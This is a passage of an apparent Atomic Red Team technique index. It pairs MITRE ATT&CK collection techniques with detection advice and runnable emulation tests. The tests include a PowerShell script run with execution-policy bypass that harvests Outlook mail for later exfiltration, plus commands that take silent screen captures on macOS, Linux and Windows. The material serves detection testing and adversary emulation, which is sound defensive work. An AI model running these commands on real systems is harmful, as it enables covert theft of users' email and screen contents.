        Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)
      name: Local Email Collection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1114.001
        url: https://attack.mitre.org/techniques/T1114/001
      - source_name: Outlook File Sizes
        url: https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
        description: N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and
          OST File Sizes. Retrieved February 19, 2020.
      - source_name: Microsoft Outlook Files
        url: https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790
        description: Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and
          .ost). Retrieved February 19, 2020.
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to gather local email files. Monitor for unusual processes
        accessing local email files. Remote access tools with built-in features may
        interact directly with the Windows API to gather information. Information
        may also be acquired through Windows system management tools such as [Windows
        Management Instrumentation](https://attack.mitre.org/techniques/T1047) and
        [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1114.001
    atomic_tests:
    - name: Email Collection with PowerShell Get-Inbox
      auto_generated_guid: 3f1b5096-0139-4736-9b78-19bcb02bb1cb
      description: |
        Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
        Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

        Note: Outlook is required, but no email account necessary to produce artifacts.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output file path
          type: String
          default: "$env:TEMP\\mail.csv"
        file_path:
          description: File path for Get-Inbox.ps1
          type: String
          default: PathToAtomicsFolder\T1114.001\src
      dependency_executor_name: powershell
      dependencies:
      - description: 'Get-Inbox.ps1 must be located at #{file_path}

'
        prereq_command: 'if (Test-Path #{file_path}\Get-Inbox.ps1) {exit 0} else {exit
          1}

'
        get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114.001/src/Get-Inbox.ps1"
          -OutFile "#{file_path}\Get-Inbox.ps1"

'
      executor:
        command: 'powershell -executionpolicy bypass -command #{file_path}\Get-Inbox.ps1
          -file #{output_file}

'
        cleanup_command: 'Remove-Item #{output_file} -Force -ErrorAction Ignore

'
        name: powershell
  T1185:
    technique:
      created: '2018-01-16T16:13:52.465Z'
      modified: '2021-02-09T15:34:09.429Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Man in the Browser
      description: |-
        Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

        A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

        Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1185
        external_id: T1185
      - url: https://en.wikipedia.org/wiki/Man-in-the-browser
        description: Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved
          January 10, 2018.
        source_name: Wikipedia Man in the Browser
      - url: https://www.cobaltstrike.com/help-browser-pivoting
        description: Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.
        source_name: Cobalt Strike Browser Pivot
      - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
          BUSINESSES. Retrieved January 17, 2018.
        source_name: ICEBRG Chrome Extensions
      - url: https://cobaltstrike.com/downloads/csmanual38.pdf
        description: Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual.
          Retrieved May 24, 2017.
        source_name: cobaltstrike manual
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: This is a difficult technique to detect because adversary
        traffic would be masked by normal user traffic. No new processes are created
        and no additional software touches disk. Authentication logs can be used to
        audit logins to specific web applications, but determining malicious logins
        versus benign logins may be difficult if activity matches typical user behavior.
        Monitor for process injection against browser applications.
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Logon Session: Logon Session Creation'
      x_mitre_contributors:
      - Justin Warner, ICEBRG
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1557:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557
        url: https://attack.mitre.org/techniques/T1557
      - external_id: CAPEC-94
        source_name: capec
        url: https://capec.mitre.org/data/definitions/94.html
      - source_name: Rapid7 MiTM Basics
        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
          2, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Man-in-the-Middle
      description: |-
        Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

        Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-16T15:19:48.733Z'
      created: '2020-02-11T19:07:12.114Z'
      x_mitre_contributors:
      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
      x_mitre_detection: Monitor network traffic for anomalies associated with known
        MiTM behavior. Consider monitoring for modifications to system configuration
        files involved in shaping network traffic flow.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
    atomic_tests: []
  T1602.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1602.002
        url: https://attack.mitre.org/techniques/T1602/002
      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Device Configuration Dump
      description: "Adversaries may access network configuration files to collect
        sensitive data about the device and the network. The network configuration
        is a file containing parameters that determine the operation of the device.
        The device typically stores an in-memory copy of the configuration while operating,
        and a separate configuration on non-volatile storage to load after device
        reset. Adversaries can inspect the configuration files to reveal information
        about the target network and its layout, the network device and its software,
        or identifying legitimate accounts and credentials for later use.\n\nAdversaries
        can use common management tools and protocols, such as Simple Network Management
        Protocol (SNMP) and Smart Install (SMI), to access network configuration files.
        (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation:
        Cisco Blog Legacy Device Attacks) These tools may be used to query specific
        data from a configuration repository or configure the device to export the
        configuration for later analysis. "
      id: attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-22T01:45:55.144Z'
      created: '2020-10-20T00:08:21.745Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks. Configure signatures to identify strings that may be found in
        a network device configuration. (Citation: US-CERT TA18-068A 2018)'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1074.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1074.002
        url: https://attack.mitre.org/techniques/T1074/002
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Remote Data Staging
      description: |-
        Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

        In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

        By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.
      id: attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-03-08T10:33:02.019Z'
      created: '2020-03-13T21:14:58.206Z'
      x_mitre_contributors:
      - Praetorian
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'File: File Access'
      - 'File: File Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
    atomic_tests: []
  T1114.002:
    technique:
      id: attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a
      description: Adversaries may target an Exchange server, Office 365, or Google
        Workspace to collect sensitive information. Adversaries may leverage a user's
        credentials and interact directly with the Exchange server to acquire information
        from within a network. Adversaries may also access externally facing Exchange
        services, Office 365, or Google Workspace to access email using credentials
        or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413)
        can be used to automate searches for specific keywords.
      name: Remote Email Collection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1114.002
        url: https://attack.mitre.org/techniques/T1114/002
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-03-25T13:12:56.909Z'
      created: '2020-02-19T18:52:24.547Z'
      x_mitre_platforms:
      - Office 365
      - Windows
      - Google Workspace
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor for unusual login activity from unknown or abnormal
        locations, especially for privileged accounts (ex: Exchange administrator
        account).'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
    atomic_tests: []
  T1602.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1602.001
        url: https://attack.mitre.org/techniques/T1602/001
      - source_name: SANS Information Security Reading Room Securing SNMP Securing
          SNMP
        url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
        description: 'Michael Stump. (2003). Information Security Reading Room Securing
          SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.'
      - source_name: US-CERT-TA18-106A
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
          19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SNMP (MIB Dump)
      description: "Adversaries may target the Management Information Base (MIB) to
        collect and/or mine valuable information in a network managed using Simple
        Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository
        that stores variable information accessible via SNMP in the form of object
        identifiers (OID). Each OID identifies a variable that can be read or set
        and permits active management tasks, such as configuration changes, through
        remote modification of these variables. SNMP can give administrators great
        insight in their systems, such as, system information, description of hardware,
        physical location, and software packages(Citation: SANS Information Security
        Reading Room Securing SNMP Securing SNMP). The MIB may also contain device
        operational information, including running configuration, routing table, and
        interface details.\n\nAdversaries may use SNMP queries to collect MIB content
        directly from SNMP-managed devices in order to collect network information
        that allows the adversary to build network maps and facilitate future targeted
        exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device
        Attacks) "
      id: attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-22T01:54:22.812Z'
      created: '2020-10-19T23:51:05.953Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks that expose MIB content or use unauthorized protocols.(Citation:
        Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1113:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1113
        url: https://attack.mitre.org/techniques/T1113
      - external_id: CAPEC-648
        source_name: capec
        url: https://capec.mitre.org/data/definitions/648.html
      - source_name: CopyFromScreen .NET
        url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8
        description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved
          March 24, 2020.
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      description: 'Adversaries may attempt to take screen captures of the desktop
        to gather information over the course of an operation. Screen capturing functionality
        may be included as a feature of a remote access tool used in post-compromise
        operations. Taking a screenshot is also typically possible through native
        utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>,
        or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated
        Mac Malware)

'
      name: Screen Capture
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-24T19:56:37.627Z'
      created: '2017-05-31T21:31:25.060Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_detection: Monitoring for screen capture behavior will depend on the
        method used to obtain data from the operating system and write output files.
        Detection methods could include collecting information from unusual processes
        using API calls used to obtain image data, and monitoring for image files
        written to disk. The sensor data may need to be correlated with other events
        to identify malicious activity, depending on the legitimacy of this behavior
        within a given network environment.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1113
    atomic_tests:
    - name: Screencapture
      auto_generated_guid: 0f47ceb1-720f-4275-96b8-21f0562217ac
      description: 'Use screencapture command to collect a full desktop screenshot

'
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Output file path
          type: Path
          default: "/tmp/T1113_desktop.png"
      executor:
        command: 'screencapture #{output_file}

'
        cleanup_command: 'rm #{output_file}

'
        name: bash
    - name: Screencapture (silent)
      auto_generated_guid: deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4
      description: 'Use screencapture command to collect a full desktop screenshot

'
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Output file path
          type: Path
          default: "/tmp/T1113_desktop.png"
      executor:
        command: 'screencapture -x #{output_file}

'
        cleanup_command: 'rm #{output_file}

'
        name: bash
    - name: X Windows Capture
      auto_generated_guid: 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac
      description: 'Use xwd command to collect a full desktop screenshot and review
        file with xwud

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: Path
          default: "/tmp/T1113_desktop.xwd"
        package_checker:
          description: Package checking command for linux. Debian system command-
            dpkg -s x11-apps
          type: String
          default: rpm -q xorg-x11-apps
        package_installer:
          description: Package installer command for linux. Debian system command-
            apt-get install x11-apps
          type: String
          default: yum install -y xorg-x11-apps
      dependency_executor_name: bash
      dependencies:
      - description: 'Package with XWD and XWUD must exist on device

'
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

'
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: |
          xwd -root -out #{output_file}
          xwud -in #{output_file}
        cleanup_command: 'rm #{output_file}

'
        name: bash
    - name: Capture Linux Desktop using Import Tool
      auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1
      description: 'Use import command from ImageMagick to collect a full desktop
        screenshot

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: Path
          default: "/tmp/T1113_desktop.png"
      dependencies:
      - description: 'ImageMagick must be installed

'
        prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit
          1; fi

'
        get_prereq_command: 'sudo apt-get -y install graphicsmagick-imagemagick-compat

'
      executor:
        command: 'import -window root #{output_file}

'
        cleanup_command: 'rm #{output_file}

'
        name: bash
    - name: Windows Screencapture
      auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153
      description: 'Use Psr.exe binary to collect screenshots of user display. Test
        will do left mouse click to simulate user behaviour

'
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output file path
          type: Path
          default: c:\temp\T1113_desktop.zip
        recording_time:
          description: Time to take screenshots
          type: String
          default: 5
      executor:
        name: powershell
        elevation_required: false
        command: |
          cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
          Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;
          [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
          cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"
        cleanup_command: 'rm #{output_file} -ErrorAction Ignore

'
    - name: Windows Screen Capture (CopyFromScreen)
      auto_generated_guid: e9313014-985a-48ef-80d9-cde604ffc187
      description: |
        Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.

        [Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "$env:TEMP\\T1113.png"
      executor:
        command: |
          Add-Type -AssemblyName System.Windows.Forms
          $screen = [Windows.Forms.SystemInformation]::VirtualScreen
          $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
          $graphic = [Drawing.Graphics]::FromImage($bitmap)
          $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
          $bitmap.Save("#{output_file}")
        cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore

'
        name: powershell
  T1213.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1213.002
        url: https://attack.mitre.org/techniques/T1213/002
      - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
        description: Microsoft. (2017, July 19). Configure audit settings for a site
          collection. Retrieved April 4, 2018.
        source_name: Microsoft SharePoint Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Sharepoint
      description: |
        Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

        * Policies, procedures, and standards
        * Physical / logical network diagrams
        * System architecture diagrams
        * Technical system documentation
        * Testing / development credentials
        * Work / project schedules
        * Source code snippets
        * Links to network shares and other internal resources
      id: attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-24T16:41:00.821Z'
      created: '2020-02-14T13:35:32.938Z'
      x_mitre_detection: "The user access logging within Microsoft's SharePoint can
        be configured to report access to certain pages and documents. (Citation:
        Microsoft SharePoint Logging). As information repositories generally have
        a considerably large user base, detection of malicious use can be non-trivial.
        At minimum, access to information repositories performed by privileged users
        (for example, Active Directory Domain, Enterprise, or Schema Administrators)
        should be closely monitored and alerted upon, as these types of accounts should
        not generally used to access information repositories. If the capability exists,
        it may be of value to monitor and alert on users that are retrieving and viewing
        a large number of documents and pages; this behavior may be indicative of
        programmatic means being used to retrieve all data within the repository.
        In environments with high-maturity, it may be possible to leverage User-Behavioral
        Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n"
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      - Office 365
    atomic_tests: []
  T1125:
    technique:
      created: '2017-05-31T21:31:37.917Z'
      modified: '2020-07-14T19:40:47.644Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Video Capture
      description: |-
        An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

        In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1125
        external_id: T1125
      - external_id: CAPEC-634
        source_name: capec
        url: https://capec.mitre.org/data/definitions/634.html
      - url: https://objective-see.com/blog/blog_0x25.html
        description: Patrick Wardle. (n.d.). Retrieved March 20, 2018.
        source_name: objective-see 2017 review
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Windows
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Praetorian
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1056.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.003
        url: https://attack.mitre.org/techniques/T1056/003
      - external_id: CAPEC-569
        source_name: capec
        url: https://capec.mitre.org/data/definitions/569.html
      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        source_name: Volexity Virtual Private Keylogging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Portal Capture
      description: |-
        Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

        This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-24T21:16:16.580Z'
      created: '2020-02-11T18:59:50.058Z'
      x_mitre_system_requirements:
      - An externally facing login portal is configured.
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_detection: File monitoring may be used to detect changes to files in
        the Web directory for organization login pages that do not match with authorized
        updates to the Web server's content.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
privilege-escalation:
  T1548:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548
        url: https://attack.mitre.org/techniques/T1548
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Abuse Elevation Control Mechanism
      description: Adversaries may circumvent mechanisms designed to control elevate
        privileges to gain higher-level permissions. Most modern systems contain native
